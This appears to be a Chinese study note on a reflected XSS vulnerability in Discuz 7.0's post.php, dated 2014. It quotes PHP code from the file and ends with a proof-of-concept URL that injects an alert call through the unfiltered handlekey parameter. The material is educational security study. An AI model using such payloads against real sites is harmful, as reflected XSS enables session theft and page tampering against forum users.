discuz7.0 _post.php xss跨站漏洞-学习笔记

漏洞名称

discuz7.0 _post.php xss跨站漏洞

发布时间

2014-06-02

漏洞分类

反射型xss漏洞

缺陷代码

没有对所有参数进行过滤。

if($action == 'reply') {
    $addfeedcheck = $customaddfeed & 4 ? 'checked="checked"': '';
} elseif(!empty($special) && $action != 'reply') {
    $addfeedcheck = $customaddfeed & 2 ? 'checked="checked"': '';
} else {
    $addfeedcheck = $customaddfeed & 1 ? 'checked="checked"': '';
}


$navigation = $navtitle = $thread = '';
if(!empty($cedit)) {
    unset($inajax, $infloat, $ajaxtarget, $handlekey);
}

if($action == 'edit' || $action == 'reply') {

    if($thread = $db->fetch_first("SELECT * FROM {$tablepre}threads WHERE tid='$tid'".($auditstatuson ? '' : " AND displayorder>='0'"))) {

        $navigation = "» $tid\">$thread[subject]";
        $navtitle = $thread['subject'].' - ';
        if($thread['readperm'] && $thread['readperm'] > $readaccess && !$forum['ismoderator'] && $thread['authorid'] != $discuz_uid) {
            showmessage('thread_nopermission', NULL, 'NOPERM');
        }

        $fid = $thread['fid'];
        $special = $thread['special'];

    } else {
        showmessage('thread_nonexistence');
    }
    
    if($action == 'reply' && ($thread['closed'] == 1) && !$forum['ismoderator']) {
        showmessage('post_thread_closed');
    }

}
?>

实验步骤

打开目标站点，在url后加入如下poc：/post.php?action=reply&fid=17&tid=1591&extra=&replysubmit=yes&infloat=yes&handlekey=,alert(1)